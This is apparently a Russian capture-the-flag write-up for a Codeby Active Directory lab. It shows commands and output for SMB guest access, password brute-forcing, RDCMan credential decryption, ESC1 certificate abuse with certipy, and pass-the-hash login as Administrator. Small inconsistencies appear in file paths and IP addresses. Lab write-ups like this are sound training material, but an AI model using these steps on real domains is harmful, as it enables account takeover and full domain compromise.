exception

CG :: Исключение

Название: `Исключение`
Категория: `Active Directory`

Сложность: `Сложная`
Очки: `2000`

Описание: `Не требуйте гарантий. И не ждите спасения от чего то одного — от человека, или машины, или библиотеки. Сами создавайте то, что может спасти мир, — и если утонете по дороге, так хоть будете знать, что плыли к берегу`
Теги: `ActiveDirectory`

Разведка

```
Nmap scan report for 192.168.1.34
Host is up, received conn-refused (0.36s latency).
Scanned at 2024-05-10 08:30:55 MSK for 47s
Not shown: 988 closed tcp ports (conn-refused)
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-05-10 05:31:05Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: codeby.cdb0., Site: Default-First-Site-Name)
5357/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: EXCEPTION; OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.81 seconds
➜  ~/Desktop
```

Чекаем шару

```
impacket-smbclient codeby.cdb/guest@192.168.1.34
```

```
# exit
➜  ~/Desktop impacket-smbclient codeby.cdb/guest@192.168.1.34
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
Type help for list of commands
# shares
ADMIN$
C$
HR
IPC$
NETLOGON
SYSVOL
Users
# use HR
# ls
drw-rw-rw-          0  Tue Apr  9 22:21:15 2024 .
drw-rw-rw-          0  Wed Apr 10 12:17:10 2024 ..
-rw-rw-rw-     155786  Wed Apr 10 10:21:52 2024 calend.pdf
# 
```

Забираем файл и смотрим его мета данные

`exiftool calend.pdf`

```
exited3n@kali-vm:~/Desktop ×  exited3n@kali-vm:~/Desktop ×
File Type Extension             : pdf
MIME Type                       : application/pdf
Linearized                      : No
Language                        : ru
Tagged PDF                      : Yes
XMP Toolkit                     : Adobe XMP Core 7.1-c000 79.b0f8be9, 2021/12/08-19:11:22
Create Date                     : 2023:08:03 09:43:43+0000
Metadata Date                   : 2024:04:09 19:15:01+0000
Modify Date                     : 2023:08:03 09:43:44+0000
Creator Tool                    : Codeby
Instance ID                     : uuid:5666cc69-25a6-8848-bfae-9f272f2f7f3e
Original Document ID            : xmp.did:f32a4856-e585-4953-a345-6e46142b787c
Document ID                     : xmp.id:7a90cf81-50ea-46c9-af33-4bed407e010d
Rendition Class                 : proof:pdf
History Action                  : converted
History Parameters              : from application/x-indesign to application/pdf
History Software Agent          : Adobe InDesign 17.1 (Macintosh)
History Changed                 : /
History When                    : 2023:08:03 12:43:43+03:00
Derived From Instance ID        : xmp.iid:027a1df9-0fc5-49dd-ab94-ba32cec383c4
Derived From Document ID        : xmp.did:f32a4856-e585-4953-a345-6e46142b787c
Derived From Original Document ID: xmp.did:f32a4856-e585-4953-a345-6e46142b787c
Derived From Rendition Class    : default
Format                          : application/pdf
Producer                        : Adobe PDF Library 16.0.5
Trapped                         : False
Page Count                      : 1
PDF Version                     : 1.5
Creator                         : Codeby
Title                           : Calendar
Author                          : Semen Yakubovich
Subject                         :
➜  ~/Desktop
```

Находим пользователя и брутим его

```
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:123456789 - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:princess - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:12345 - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:lovely - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:12345678 - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:rockyou - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:ashley - Invalid password
2024/05/10 08:45:29 >  [!] semen.yakubovich@codeby.cdb:iloveu - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:111111 - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:chocolate - Invalid password
2024/05/10 08:45:30 >  [+] VALID LOGIN:  semen.yakubovich@codeby.cdb:password1
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:soccer - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:anthony - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:jessica - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:654321 - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:butterfly - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:sunshine - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:jordan - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:michelle - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:tigger - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:michael - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:friends - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:qwerty - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:purple - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:000000 - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:fuckyou - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:justin - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:angel - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:loveme - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:123123 - Invalid password
2024/05/10 08:45:30 >  [!] semen.yakubovich@codeby.cdb:liverpool - Invalid password
2024/05/10 08:45:30 >  Done! Tested 40 logins (1 successes) in 0.962 seconds
→  ~/Desktop
```

Находим файл - Directory: `cat "appdata\local\microsoft\Remote Desktop Connection Manager\my-servers.rdg"`

my-servers.rdg

https://github.com/SammyKrosoft/Decrypt-RDG-Password

```
*Evil-WinRM* PS C:\Users\semen.yakubovich> cat C:\Users\semen.yakubovich\appdata\local\microsoft\windows\srvs.rdg
<?xml version="1.0" encoding="utf-8"?>
<RDCMan programVersion="2.93" schemaVersion="3">
  <file>
    <credentialsProfiles />
    <properties>
      <expanded>True</expanded>
      <name>Servers</name>
    </properties>
    <server>
      <properties>
        <name>srv-backup</name>
      </properties>
      <logonCredentials inherit="None">
        <profileName scope="Local">Custom</profileName>
        <userName>regina.pushkareva</userName>
        <password>AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAGVihXgijXkKmNcdAuK6VxQAAAAACAAAAAAAQZgAAAAEAACAAAAAwVxL94u+LI+HvGuy3PBUA3KTmKd2FTfe/TPj
TmWFjQAAAAAOgAAAAAIAACAAAACLQMiv/AmfbmYgPLf2ZLiNror5U816flh6I+FfdvSGyCAAAAeyk2PJ4s/miO1uJhgyFPQbvH9BA1zEFGc7/LN12oMHUAAAAAKTBbEeaJ6dNdfa
w2gbQ8lzvF6i2Y071EGND6ICRDw6PtGj+9G+e4XSfwXzbwcVTzruLUgRNh9Flj+4yRlZoM</password>
        <domain>CODEBY</domain>
      </logonCredentials>
    </server>
  </file>
  <connected />
  <favorites />
  <recentlyUsed />
</RDCMan>
*Evil-WinRM* PS C:\Users\semen.yakubovich>
```

```
~\Downloads ❯ $PwdString = 'AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAGVihXgijXkKmNcdAuK6VxQAAAAACAAAAAAAQZgAAAAEAACAAAAAwVxL94u+LI+HvGuy3PBUA3KTm
Kd2FTfe/TPjcTmWFjQAAAAAOgAAAAAIAACAAAACLQMiv/AmfbmYgPLf2ZLiNror5U816flh6I+FfdvSGyCAAAAeyk2PJ4s/miO1uJhgyFPQbvH9BA1zEFGc7/LN12oMHUAAAAAK
TBbEeaJ6dNdfaNw2gbQ8lzvF6i2Y071EGND6ICRDw6PtGj+9G+e4XSfwXzbwcVTzruLUgRNh9Flj+4yRlZoM'
~\Downloads ❯ $EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings
~\Downloads ❯ [RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)
Yoho_yolo$
~\Downloads ❯                                                                                                    09:56:46
```

```powershell
Copy-Item 'C:\Program Files\Microsoft Remote Desktop Connection Manager\RDCMan.exe' 'C:\temp\RDCMan.dll'

Import-Module 'C:\temp\RDCMan.dll'

$PwdString = 'AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAArgmkgMKfM0+ae5h2svIdTQAAAAACAAAAAAADZgAAwAAAABAAAABf5h9giJLIRn/u5pDvmgBOAAAAAASAAACgAAAAEAAAACln27MoXau1AYjJfPrQvh8YAAAABOjQpgUQQdr5mSpMUX+vrkQQo6BwqtC0FAAAAKo5s/XgpUNHmhsAxR2yO6iCH4Py'

$EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings

[RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)
```

```
*Evil-WinRM* PS C:\Users\semen.yakubovich> $PwdString = 'AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAArgmkgMKfM0+ae5h2svIdTQAAAAACAAAAAAADZgAAwAAAABAAAABf5h9giJLIRn/u5pDvmgBOAAAAAASAAACgAAAAEAAAACln27MoXau1AYjJfPrQvh8YAAAABOjQpgUQQdr5mSpMUX+vrkQQo6BwqtC0FAAAAKo5s/XgpUNHmhsAxR2yO6iCH4Py'
*Evil-WinRM* PS C:\Users\semen.yakubovich> [RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)
Yoho_yolo$
*Evil-WinRM* PS C:\Users\semen.yakubovich>
```

`certipy-ad find -u 'regina.pushkareva@codeby.cdb' -p 'Yoho_yolo$' -dc-ip 192.168.1.36`

```
→  ~/Desktop certipy-ad find -u 'regina.pushkareva@codeby.cdb' -p 'Yoho_yolo$' -dc-ip 192.168.1.36
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'codeby-EXCEPTION-CA' via CSRA
[!] Got error while trying to get CA configuration for 'codeby-EXCEPTION-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'codeby-EXCEPTION-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'codeby-EXCEPTION-CA'
[*] Saved BloodHound data to '20240410125319_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240410125319_Certipy.txt'
[*] Saved JSON output to '20240410125319_Certipy.json'
→  ~/Desktop
```

```
    Write Property Principals       : CODEBY.CDB\Domain Admins
                                      CODEBY.CDB\Enterprise Admins
  [!] Vulnerabilities
    ESC1                            : 'CODEBY.CDB\\Cert Admin' and 'CODEBY.CDB\\Domain Computers' can enroll, enrollee supplies subject and template allows client
    authentication
4
  Template Name                     : DirectoryEmailReplication
  Display Name                      : Directory Email Replication
  Certificate Authorities           : codeby-EXCEPTION-CA
  Enabled                           : True
  Client Authentication             : False
  Enrollment Agent                  : False
  Any Purpose                       : False
  Enrollee Supplies Subject         : False
  Certificate Name Flag             : SubjectAltRequireDns
                                      SubjectAltRequireDirectoryGuid
  Enrollment Flag                   : AutoEnrollment
                                      PublishToDs
                                      IncludeSymmetricAlgorithms
  Private Key Flag                  : AttestNone
  Extended Key Usage                : Directory Service Email Replication
```

`certipy-ad req -u 'regina.pushkareva@codeby.cdb' -p 'Yoho_yolo$' -ca 'codeby-EXCEPTION-CA' -template 'Workstation' -target 'exception.codeby.cdb' -upn 'Administrator@codeby.cdb'`

```
→  ~/Desktop certipy-ad req -u 'regina.pushkareva@codeby.cdb' -p 'Yoho_yolo$' -ca 'codeby-EXCEPTION-CA' -template 'Workstation' -target 'exception.codeby.cdb' -upn 'Administrator@codeby.cdb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'Administrator@codeby.cdb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
→  ~/Desktop
```

Получаем TGT

`certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.36`

```
→  ~/Desktop certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.36
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@codeby.cdb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@codeby.cdb': aad3b435b51404eeaad3b435b51404ee:8b37f6338da562d078d3e4756c70052b
→  ~/Desktop
```

`evil-winrm -i 192.168.1.36 -u Administrator -H 8b37f6338da562d078d3e4756c70052b`

```
→  ~/Desktop evil-winrm -i 192.168.1.36 -u Administrator -H 8b37f6338da562d078d3e4756c70052b

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemente
this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
codeby\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

До новых встреч!